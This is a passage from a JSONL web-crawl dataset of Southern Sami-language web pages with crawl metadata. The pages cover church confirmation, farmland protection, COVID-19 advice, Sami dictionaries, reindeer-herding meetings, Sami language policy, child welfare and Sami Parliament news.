provregærhkoeh byöreden jaepien åvteli dængkodh.\nProvregærhkoe jïh provre daamhtaj namhtah. Jis sïjhteden sjïere öörnemidie mestie lissiemaeksemem båetieh maehteden åålmeginie rååresjidh jis edtjeden dejtie maeksedh.\nProvreme saemiengïelesne jallh göökte gïeline\nSïjhteden pruvredh saemiengïelesne jallh guektien gïeline? Åålmegem gaskesadteden gusnie sïjhteden pruvredh jïh jiehteden dåtnoeh sïjhteden guektien gïeleldh hearra utnedh. Hearra aaj maahta dåtnoem viehkiehtidh saalmh jïh laavlomh veeljeldh guektien gïeline. Dåtnoeh byöreden hearram buerie astosne dængkodh, sjïere jis sïjhteden giesieprovrem.\nVihkeles paehperh\nGuktie åadtjoden pruvredh dellie dåtnoeh maam gohtje heerremepryövemem daarpesjidien. Daam Skaehtievierhkeste åadtjoden. Heerremepryöveme-vïhtesjimmie 4 askh jåhta daan raejeste gåessie lij tjaaleme. Heerremepryöveme-vïhtesjimmien ektesne skaehtievierhkie aaj tjaatsegem seedtie gusnie bæjhkoehtidien minngienommen bïjre maam edtjeden dievhtedh jïh bååstide skaehtievierhkese seedtedh provren åvteli. Gåessie edtjeden hearram gaavnedidh provren bïjre soptsestidh maehteden heeremepryöveme-vïhtesjimmiem sutnjien vedtedh. Vïhtesjimmie obligatovreles guktie åadtjodh pruvredh.\nGåessie paarretjeguaktah gïeh edtjijægan pruvredh dej væljoem jiehtiejægan sinsitniem iehtsedh dellie provremassese tjatnedh jïh dej bööremes sinsætnan darjodh guktie gåabpatjahkh maehtiejægan læhkoeladtjh sjïdtedh.\nGærhkoen buerie-sjuegniedasse provrese mij joe\nJis dåtnoeh joe pruvreme, vuesiehtimmieh magistratesne jallh jeatjah laantesne, maehteden gærhkoen buerie-sjugniedimmiem åadtjodh dotnen provremassen åvteste Sveerjesne. Buerie-sjugniedassh provremasseste mahte seamma goh provre-gyrhkesjimmie.\nDatne gyhtjelassh provren bïjre åtnah? Gaskesadth dov åålmegem.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.svenskakyrkan.se\/provre-","date":"2020-08-07T04:16:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737152.0\/warc\/CC-MAIN-20200807025719-20200807055719-00272.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":271,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Deadtove beapmoejåartadajvide jeerehte fylhkeste fylhkese\nDah haestemh daennie suerkesne jïjnjem dajveste dajvese jeerehte, goh beetsuvedajvh, suvveme jïh nåake tjåadtjoehtimmie muvhtine dajvine, jïh faetie, giehpiedimmie, arealh fååtese gusnie maahta gåetiekreeki bejhkieh geerjehtidh, jïh dovres leejjemeåasa muvhtine dajvine.\nDah bielieh laanteste staarigujmie jïh voenigujmie mah jeenjemes sjidtieh, aaj dah bööremes jåartaburriedajvh utnieh. Dej minngemes 50 jaepiej dle vielie goh aktem millijovnem dekar jåartaarealeste jeatjah åssjelidie jarkelamme. Arealesoejkesjimmesne tjuara lissiebïgkemedaerpiesvoetem, skovhteöörnegh, kruanastruktuvrem, ålkoeiedtjh, biologeles gellievoetem jïh kultuvrevaarjelimmiem ektesne vuarjasjidh.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.fylkesmannen.no\/sma\/Rogalaanten\/Laanteburrie-jih-beapmoe\/Jaartavaarjelimmie\/","date":"2020-08-15T16:38:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439740929.65\/warc\/CC-MAIN-20200815154632-20200815184632-00572.warc.gz","language":"sma","language_score":0.9999997616,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9999997615814209}","num_words":75,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Årroeh gåetesne jis skïemtjedh\nÅrroeh gåetesne barkoste jallh skuvleste jis skïemtjedh jïh sovhtine, gossehts jallh vaejliem åtnah. Dellie vaahresne mubpide geerjehtidh. Daate aaj jis ih leah ålvas skïemtjes.\nÅrroeh gåetesne dan guhkiem datne skïemtjes. Jis vïerrebe sjædta jïh ih bïerkenh jïjtjehoksine gåetesne maahtah 1177 rïngkedh skïemtjehokseraeriej gaavhtan (sveerjen- jallh englaantengïelesne).\nVuertieh unnemes göökte dygnh mænngan starnih åvteli bååstide barkose jallh skuvlese vualkah.\nVoeresh stuerebe vaahresne skïemtjedieh jïh joekoen vaejvieh åadtjoeh. Dïhte dan gaavhtan vihkeles ij dej luvnie guessine årrodh skïemtjegåetesne jïh voeresegåetine. Datne gie voeresehoksesne barkh ih edtjh barkose vuelkedh jis sovhtine jallh gossehth.\nVueptesth covid-19:n symtovmide\nCovid-19 skïemtjelassen symtovmh leah evtemes vaejlie jïh gossehtahke. Aaj hïeteme, tjeapohke saejrede, åejjieh saejriedieh, åedtjie- jïh lïhtsevearhke aaj daamhtaj maahtah damtedh. Jeenjemesh åadtjoeh lijnies vaejvieh mejstie buarenh. Naakenh åadtjoeh joekoen vaejvieh vuesiehtimmieh hïeteme jïh gåblojste. Jis naan dejstie symtovmh damth aellieh mubpieh dïervesjh.\nBïssh gïetide\nDah ïebnh mah vijrusem geerjehtieh leah dan soe suetiedihks jïh aelhkieslaakan gïetide dabranieh. Dah vïjrebe geerjehtieh jis naakenen gïetem vaaltah. Bïssh dan gaavhtan gïetede tjoeline jïh baahkes tjaetsine unnemes 20 sekundh.\nBïssh eejnegen gïetide gosse gåatan båatah jallh dov barkose båatah, åvteli byöpmedh, jis beapmoeh gïetedh jïh mænngan ohtjegåetesne orreme. Gïetesprïjhte hijven jis ih maehtieh tjaetsine bïssedh.\nGossehth jïh gesnesth gïete-gaavese\nGosse gossehth jïh gesnesth ohtje trahpetjh geerjehtieh laanestamme ïebnigujmie mah maehtieh vijrusem geerjehtidh. Jis gossehth jïh gesnesth gïete-gaavese jallh paehpere-njaamelæjnan datne suetiem heerh geerjehte dov lïhkesvoetese jallh dov gïetide. Sleengkh eejnegen paehpere-njaamelijniem tsumhtsiekåarjese jïh bïssh gïetide.\nAellieh tjelmide, njueniem jïh njaelmiem doehtehth\nSuetie geerjehte tjelmiej, njuenien jïh njaelmien njevlieskïelti mietie. Aellieh tjelmide, njueniem jïh njaelmiem doehtehth.\nGïetesprïjhte\nJis ij tjoele jïh tjaetsie gååvnesh, maahtah gïetesprïjhtem nuhtjedh man unnemes 60 prosenth alkohovline.","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/xn--mtesplatssocialhllbarhet-vcc04b.se\/smittskydd-beredskap\/utbrott\/aktuella-utbrott\/covid-19\/skydda-dig-och-andra\/information-pa-olika-sprak\/sydsamiska\/","date":"2020-08-05T11:08:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735939.26\/warc\/CC-MAIN-20200805094821-20200805124821-00401.warc.gz","language":"sma","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 1.0000050067901611}","num_words":271,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nFaage\nFormaate\nGaskeviermiesæjroe\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nSámi Giellatekno nedtesæjroem baakoegærjajgujmie gaskeviermesne dorjeme. Baakoegærjide leah ovmessie gïeline. Noerhtesaemien ↔ Nöörjengïele Bokmål Åarjelsaemien ↔ Nöörjengïele Bokmål Åarjelsaemien ↔ Svïenskegïele Åarjelsaemien ↔ Såevmiengïele Кильдин-саамский ↔ Русский Tарьй кӣлл ↔ Кӣлт кӣлл Тер-саамский ↔ Русский Ter Saemien ↔ Englaantengïele Kveenen-gïele ↔ Nöörjengïele Bokmål","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_baakoegaerjah-gaskeviermesne","date":"2020-09-22T20:47:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206763.24\/warc\/CC-MAIN-20200922192512-20200922222512-00680.warc.gz","language":"sma","language_score":0.9973708987,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9973708987236023}","num_words":45,"character_repetition_ratio":0.127,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Pressebïevnese Röörosen tjïelteste:\nTjïeltedåaktere Röörosen tjïeltesne Anne Lajla Westerfjell Kalstad lea bïevnesem åådtjeme göökte almetjh Bïenjedaelesne leah Covid-19 åådtjeme.\nVierhtiedibie vaahra Covid-19 Röörosisnie åadtjodh lea stuerebe goh aarebi orreme. Daate eevtiedimmie veanhtadibie gosse suetie Jïemhten jïh Herjedaelien dajvesne haasene.\nLea nasjovnaale raerieh ollede Sveerjese feeledh, jis ij leah joekoen daerpies. Mujhtiehtibie ollh gellie almetjigujmie årroeh, bïssh gïetide jïh ollh olkese vaedtsedh gosse skïemtje.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/saernieh.no\/pressebievnese-roorosen-tjielteste-gookte-almetjh-bienjedaelesne-leah-covid-19-aadtjeme\/","date":"2020-10-01T20:09:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402131986.91\/warc\/CC-MAIN-20201001174918-20201001204918-00036.warc.gz","language":"sma","language_score":0.9999927282,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999927282333374}","num_words":63,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Måantan, ruffien 22. biejjien tsåahka 17.00, HMS båatsosne edtja digitale tjåanghkoem öörnedh. Digitaale tjåanghkoen aamhtese lea helasoe, byjrese jïh tjirkemen bïjre båatsosne. Daate tjåanghkoe edtja åarjelsaemiengïelesne årrodh.\nDæjmetje raarastalleme Laanteburrie jïh beapmoedemartemente jïh Nöörjen Båatsoesaemiej rïjhkesaervien gaskem, seamadin edtjin prosjeektem healsoe, byjrese jïh tjirkemem (HBT) tjïrriehtidh.\nAnna Kristine Sokki Bongo Guovdageaidnuste jïh Johan Martin Stenfjell Snåaseste lægan HBT-raeriestæjjine aalkeme. Digitaale tjåanghkosne galkijægan prosjeekten bïjre bievnedh jïh eevdtjedh båatsoeburride goerehtimmiem vaestiedidh. Goerehtimmeste guarkoen mejnie byöroen prosjeektesne barkedh.\nJis tjåanghkosne dåeredh dle maahtah GPS:em jallh jeatjah viehkievierhtieh vitnedh. Linke digitale tjåanghkosne:\nhttps:\/\/l.facebook.com\/l.php?u=https%3A%2F%2Fteams.microsoft.com%2Fl%2Fmeetup-join%2F19%253ameeting_ZjA1MjM0YWEtOTQ3OS00ODQ1LTlmYmItMWE0MTM1YTE1Y2U0%2540thread.v2%2F0%3Fcontext%3D%257B%2522Tid%2522%253A%25224aabb8b3-4214-4492-bdbf-1a2b6cd12450%2522%252C%2522Oid%2522%253A%2522648a1aa8-f64d-4425-9671-6d37ebff894c%2522%257D%26fbclid%3DIwAR0T6OD9sut8E9z-aGS4rKFCLNXzjlUeR9YFJiTadmpTxuhro4U8r6NkkZg&h=AT0E5fu6lNSig3egJCoCd7VaoHk2gTHNIFbMwqE4BhLOC91pvWwZIYYbl-Wq2_3rYW6nJygprO1HE6PNhE4puUBFLT84LpPk7mi6PVXUHPL05taUZOwnk-gdTno7ztyhi2burDPsJg","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/saernieh.no\/jirreden-digitaale-tjaanghkoe-healsoe-byjrese-jih-tjirkemen-bijre-baatsosne\/","date":"2020-10-01T19:35:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402131986.91\/warc\/CC-MAIN-20201001174918-20201001204918-00608.warc.gz","language":"sma","language_score":0.9976298213,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9976298213005066}","num_words":88,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jump to navigation\nSaemien lohkemejarnge plakaatem aamhtesinie domtesh 2019 dorjeme åarjel-, julev-, jïh noerhtesaemiengïelesne.\nNajonalt senter for samisk i opplæringa har utarbeidet spill som bl.a. styrker barns språkutvikling, ordforråd og språkbevissthet og passer for barnehage og småskole. Spillene er på nord,- lule- og sørsamisk.\nTjaelemegaahtjeme maanide jïh noeride maadthskuvlesne jïh jåarhkeskuvlesne.\n-Akte, göökte jallh jienebh gïelh, maanaj guektiengïeleldh evtiedimmien bijre, uvtemes saemien gïelh\n© 2014 Centre for Sámi Language in Education - Sámi University College, all rights reserved\nDeveloped by: Ramsalt","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/lohkanguovddas.no\/sma","date":"2020-09-26T20:38:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400245109.69\/warc\/CC-MAIN-20200926200523-20200926230523-00412.warc.gz","language":"sma","language_score":0.9741668701,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9741668701171875, \"sme_Latn_score\": 0.024126846343278885}","num_words":77,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaebpien Hilde Danielsen Röörosen tjïelteståvrosne SG:sne tjahkesje jïh daelie satne lea nominereme mubpienkandidaate SG:en stoerredigkienlæstosne Åarjel-Trööndelaagesne årrodh. Jis dïhte Stoerredægkan båata dellie voestes åarjelsaemie mij Stoerredigkesne tjahkesje.\nLars Haltbrekken lea nominereme voesteskanidaate årrodh. Daenbien ajve Haltbrekken mij lea SG:ste Stoerredigkesne Åarjel-Trööndelaageste, mohte Gaebpien Hilde Danielsen jaahka satne stoerredægkan båata.\nGaebpien Hilde Danielsen jeahta garmeres domtoe juktie Trööndelaage SG lea dam nominereme stoerredigkienlæstosne årrodh. Dïhte aarebi jeahteme sov vaajmoe saemien aamhetsi åvteste tsaapma jïh jis Stoerredægkan båata aaj sæjhta saemien aamhtesh lutnjedh.\nDïhte maahta voestes åarjelsaemie årrodh mij Stoerredigkesne tjahkesje.\n-Åarjelsaemien gïele Stoerredigkesne lea faamoe. Mijjen leah dåeriesmoerh goh areaale-dasseme, bïegkefaamoeh-bïgkeme, lissietseegkeme jïh nimhtie mejtie bovtsi gåatomidie vaeltieh. Manne jaahkam maehtebe daam saemien maahtoejgujmie gaemhpierdidh jïh jis luhpiem konsesjovnesne jeatjahtehtebe, Gaebpien Hilde Danielsen jeahta.\nJis Gaebpien Hilde Danielsen Stoerredægkan bata dellie dïhte voestes åarjelsaemie mij Stoerredigkesne tjahkesje. Gellie åarjelsaemieh leah pryöveme Stoerredægkan båetedh, mohte ij-gieh leah buektiehtamme.\nNominasjovnemoenehtsen åvtehke, Astrid Kjelsnes, buerkeste Gaebpien Hilde Danielsen goh åarjelsaemien aktiviste mij lea tjïelke gïele åarjelsaemide.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/saernieh.no\/gaebpien-hilde-danielsen-lea-nominereme-stoerredigkienlaestosne-arrodh\/","date":"2020-10-01T19:53:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402131986.91\/warc\/CC-MAIN-20201001174918-20201001204918-00660.warc.gz","language":"sma","language_score":0.9999606609,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999606609344482}","num_words":162,"character_repetition_ratio":0.131,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åejviebielie\nBuerie båeteme Saemien Gïelegaaltijen termewikese\nDaate Saemien Gïelegaaltije termewiki gusnie mijjieh pryøvebe gaajhkem saemien terminologijen tjøønghkedh.\nGaajkesh - dovne privahten almetje jïh byjjes jallh privahten institusjovni prosjekt, maehtieh daam termewikim utnedh. Daate dïrrege lea gaajhkesidie, gieh sijtieh aelkedh termh registreredh.\nDiekie maehtieh sjïere faagebyjreskh jïjtsh suerkiej terminoligjem byjjehtidh, jïh gaajkesh maehtieh daejtie termide lohkedh.\nDaennie termewikesne gåarede termh registreredh fearhnen suerkesne. Datne tjiehth åtnoekontoem utnedh, juktie maahtah termh registreredh.\nSaemien Gïelegaaltije maahta daan ternewikese termh lissiehtidh gaajhk termlæstojste jïh termh sertedh termwikeste jeatjah termdïrregidie.\nTermwikin jïjtjevoeth:\n- Maahta gaajhkh termh ohtsedh\n- Gaajkesh gieh sijhtieh termh registreredh, maehtieh daam vearmadahkem utnedh. Saemien Gïelegaaltije baahtsemereaktam vadta termebarkose utnijidie.\n- Fierhten termebielie mij tjaalasåvva tjeahta unnemes akte saemiengïelen diejvesem utnedh (Noerhte-, Julev, jïh åarjelsaemiengïelesne, jallh anar- jïh luvliesaemien)\nDaan wikin teknihken våarome lea programme MediaWiki ja lissiehtimmieh mejtie Tieteen kansallinen termipankki lea evtiedamme. Divvundåehkie lea daejtie sjiehtesjamme daan wikese. Norsk språkråd aaj Mediawikim åtna termeregistremedïrreginie.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/satni.uit.no\/termwiki\/index.php?title=V%C3%A1ldosiidu\/sma","date":"2020-10-22T15:44:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107879673.14\/warc\/CC-MAIN-20201022141106-20201022171106-00371.warc.gz","language":"sma","language_score":0.9999839067,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999839067459106}","num_words":150,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien gïelemoenehtse nammoehtamme sjïdti 2014. Moenehtsen laavenjasse lij daaletje öörnegh, råajvarimmieh jïh njoelkedassh tjïelkestidh mah lin vïedteldihkie saemien gïelide, jïh vuarjasjidh guktie gåarede dejtie daan beajjetje öörnegasse byögkeles suerkeste sjïehtedidh, jïh funksjonelle jïh seammavyörtegs byögkeles dïenesjh saemiengïelesne gorredidh.\nSaemien gïelemoenehtsen mandaate\nGïelemoenehtse birresovvi göökte salkehtimmieh buektedh. Bieliereektehtse tjïelti åeliedimmiej jïh struktuvri bïjre vïedteldihkie saemien gïelide, goevten 15.b. 2016 bööti. Moenehtse sov minngemosth salkehtimmiem NBS 2016: 18 Vaajmoegïele böökti golken 10.b. 2016 Tråantesne. Moenehtsen laavenjasse lij laakh, råajvarimmieh jïh öörnegh goerehtidh åarjel-, julev- jïh noerhtesaemien gïelese Nöörjesne.\nRaeriestimmie jarkelimmide laakijste jïh raeriestimmieh råajvarimmide\nUlmie goerehtimmine lij råajvarimmieh vuarjasjidh jïh raeriestidh juktie funksjonelle jih seammavyörtegs byögkeles dïenesjh saemiengielesne gorredidh. Moenehtse lea tjïertestamme saemien gïelh leah håvhtadihks gïelh. Jienebh gïeleutnijh daerpies jis gïelh edtjieh jåerhkedh jielije gïeline årrodh.\nSalkehtimmie vuesehte maanaj gïelelïereme lea tjoevtenje jieliehtæmman saemien gïelijste. Vielie åtnoe jïh nænnoestimmie saemien gïelijste maanagïertine jïh skuvline sijhtieh dej vihkielommes råajvarimmiej gaskem årrodh. Moenehtse lea veelelaakan vuarjasjamme guktie daajbaaletje teknologije maahta meatan årrodh gïeli statusem lutnjedh, jïh aelhkebe darjodh hijven dïenesjefaalenassem faalehtidh saamastallijidie.\nSalkehtimmie vuesehte vielie barkijh leah daerpies byögkeles dïenesjevedtiemisnie mah saemiengïeleldh maahtoem utnieh. Dennie gaskesne tjuara vielie sjïehteladtedh viehkine lissiedïenesjijstie, goh maajhøööhpehtimmie skuvlesne, maajhkonsultasjovnh healsoe- jïh hoksesuerkesne, toelhkestimmie jïh jarkoestimmie. Moenehtsen ulmie lea raeriestamme laakejarkelimmieh jïh råajvarimmieh edtjieh jienebh saemien gïeleutnijh dåårrehtidh, jïh saemien gïelh gorresuvvieh goh båetijen aejkien jielije gïelh. Moenehtsen juvnehtimmie lea akteraeresne.\nGïelemoenehtsen salkehtimmie lea vijries jïh gellie raeriestimmieh åtna laakejarkelimmiej bïjre mah leah saemien gïeli bïjre, jïh aaj gellie raeriestimmieh råajvarimmiej bïjre mejtie byöroe aelkedh juktie saemien gïelh nænnoestidh. Gïelemoenehtse joekoen råajvarimmieh tjïerteste saemien maanide jïh noeride.\nNænnoestamme ellies gïelestrategije\nSaemiedigkie lea vuartesjeminie dejtie ovmessie raeriestimmide laakejarkelimmien bïjre, jïh Saemiedigkien stoerretjåanghkoe ellies strategijem dejtie saemien gïelide nænnoesti Gïelelutnjeme - Giellalåpptim - Giellalokten – Språkløftet, goeven 2018.\nLohkh vielie Gïelelutnjemen bïjre.\nAajkoe daejnie strategijine lea gaajhkh hijven raeriestimmieh Vaajmoegïelesne, Saemiedigkien jïjtsh dååjrehtimmieh jih joe aalkeme råajvarimmieh tjöönghkedh akten ellies gïelebarkose. Naakenh dejstie råajvarimmijste Gïelelutnjemisnie Saemiedigkie maahta oktegh bæjjese fulkedh, jeatjah råajvarimmieh lïhke laavenjostoem krievieh gaskem jeatjah nasjonaale åejvieladtjigujmie.\nSaemiedigkie jïh Reerenasse gåabpatjahkh laakeraeriestimmiejgujmie Vaajmoegïelesne barkeminie, jïh sæjhta ahkedh rååresjimmieh utnedh gosse laakeproposisjovnem darjoeh maam edtja Stoerredægkan buektedh.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/giele\/vaajmoegiele\/","date":"2020-10-20T11:35:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107872686.18\/warc\/CC-MAIN-20201020105000-20201020135000-00412.warc.gz","language":"sma","language_score":1.0000007153,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000007152557373}","num_words":339,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.171,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie tuhtjie vihkeles maanaj reaktah jïh daerpiesvoeth krööhkestidh juktie saemien gïelem jïh kultuvrem gorredidh mearan maanah leah maanavaarjelimmien hoksen nuelesne. Nasjonaale åejvieladtjh dïedtem utnieh staateles bïhkedassh buektedh mah huksieh saemien maanah maehtieh sijjen gïelem jïh kultuvrem vaarjelidh maanavaarjelimmien hoksen nuelesne. Saemien maanaj leah reaktah mah leah nöörjen laakine stuvresovveme jïh gaskenasjonaale konvensjovnine mah vihtiestieh maanaj lea reakta byjjenidh jïjtsh gïeline jïh kultuvrine. Saemien maanah feerhmesuvvieh EN:n konvensjovneste maanaj reaktaj bïjre jïh EN:n bæjhkoehtimmeste aalkoealmetji reaktaj bïjre.\nEN:n Maanakonvensjovne vihteste saemien maanaj lea reakta gïelem, kultuvrem jïh religijovnem nuhtjedh. Konvensjovnen artihkele 20 aaj vihteste gosse edtja hoksesijjiem akten maanese gaavnedh, edtja eensilaakan krööhkestidh maanaj bijjiedimmiem jïh maanan etnihkeles, religijööse, kulturelle jïh gïeleldh maadtoem.\nTjïelten lea dïedte maanavaarjelimmiedïenesjen åvteste. Maanavaarjelimmiedïenesje edtja gaskem jeatjah raerieh jïh bïhkedimmiem vedtedh fuelhkide, goerehtimmieh darjodh gosse bïevnesh åådtjeme tsiehkiej bïjre maanaj luvnie, nænnoestimmieh darjodh maanavaarjelimmielaaken mietie jïh aamhtesh ryöjredidh mah fylhkenmoenehtse gïetede.\nStaate Bufetaten baaktoe dïedtem åtna foestehïejmen, riejriesvoetehïejmen jïh maanavaarjelimmieinstitusjovni åvteste.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/maanavaarjelimmie-healsoe-jih-sosijaale\/maanavaarjelimmie\/","date":"2020-10-30T17:06:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107911027.72\/warc\/CC-MAIN-20201030153002-20201030183002-00717.warc.gz","language":"sma","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000088214874268}","num_words":154,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.201,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie gellie abpejaepien fealadassesïelth sæjhta mah saemien kultuvrem åehpiedehtieh naemhtie guktie mijjieh saemieh jïjtjemem damtijibie. Saemien fealadassejieliemisnie gellie smaave sïelth, daamtaj aktegsaajhteresïelth, gusnie aajhterh daamtaj jeatjah barkoem baalte utnieh. Jeenjesh dejstie mah saemien fealadassine gïehtelieh dajvine årroeh, guhkede girtiesijjeste jih guhkede destie sijjeste gusnie Hurtigruten-skïhpe sealkoe. Daate såemies lissie haestemh vadta mejtie ibie tjoerh åajaldidh.\nSaemien kultuvre lea joekoen åajvoeh jih lea jarngesne Gaske- jïh Noerhte-Nöörjesne jïh mijjieh tjoerebe hoksedh jienebh dam saemien kultuvrem nuhtjieh, jïh guktie mijjieh saemieh damtijibie dam maam åehpiedehtieh. Tjoerebe vuekieh gaavnedh mijjen kultuvrem åehpiedehtedh, jïh daesnie akte stoerre nuepie mijjen mïelen mietie. Goerehtimmieh gidtjh vuesiehtieh aerpievuekien kultuvreåehpiedehteme maahta aktelaaketje jïh vaenie sjyöhtehke vååjnedh jïh ij ïedtjem gåaskoeh.\nJuktie lyhkesidh abpejaepien, fryöjstehte jïh nænnoes dååjresedorjesh jïh –konsepth evtiedidh, tjuara sïelth jïh destinasjovnh joekehtehtedh jïh dååjresebaseradamme fealadasse tjuara profesjovnine dorjesovvedh. Daate faamosne abpe Nöörjesne, Noerhte-Nöörjesne jïh saemien siebriedahkine.","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/sametinget.no\/jieleme\/saemien-fealadasse\/","date":"2020-12-05T13:02:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141747774.97\/warc\/CC-MAIN-20201205104937-20201205134937-00546.warc.gz","language":"sma","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000033378601074}","num_words":141,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aajhtoeh bæjngoelistie mijjen aerpievuekien jieliemidie haestieh, jïh båatsoe lea sjïerelaakan behtjiedamme. Itjmies dejtie fuelhkide mah båatsojne gïehtelieh, jïh dan åvteste båatsoe lea akte dejstie guedtije tsegkijste saemien kultuvresne dellie aaj itjmies don saemien siebriedahkese.\nVeeljeme\n–Båatsosne garres daelie, jïh abpe dam dåarjoem daarpesje maam maahta åadtjodh. Thomas Åhrén sov vaajmoem båatsosne åtna. Dïhte veanhta dan gïerve tsiehkien gaavhtan dle Saemiedigkie tjuara tjerkebelaakan pryöjjadidh.Les mer","id":"","dump":"CC-MAIN-2020-50","url":"http:\/\/nsr.no\/emne\/politihke\/veeljeme\/?lang=sma","date":"2020-11-26T21:07:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141188947.19\/warc\/CC-MAIN-20201126200910-20201126230910-00483.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":64,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie barka ihke saemieh edtjieh åadtjoeh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nStoerretjåanghkoe aalka dæjstan, goeven 1.b. ts. 08.30 jïh orreje bearjadahken, goeven 4.b. åvtelen ts. 16.00. Koronatsiehkien gaavhtan stoerretjåanghkoe lea digitaale.\nVuartesjh aamhteselæstoem jïh programmem\nIemielaakan Saemiedigkie vuesiehtimmieh tjïrrehte, 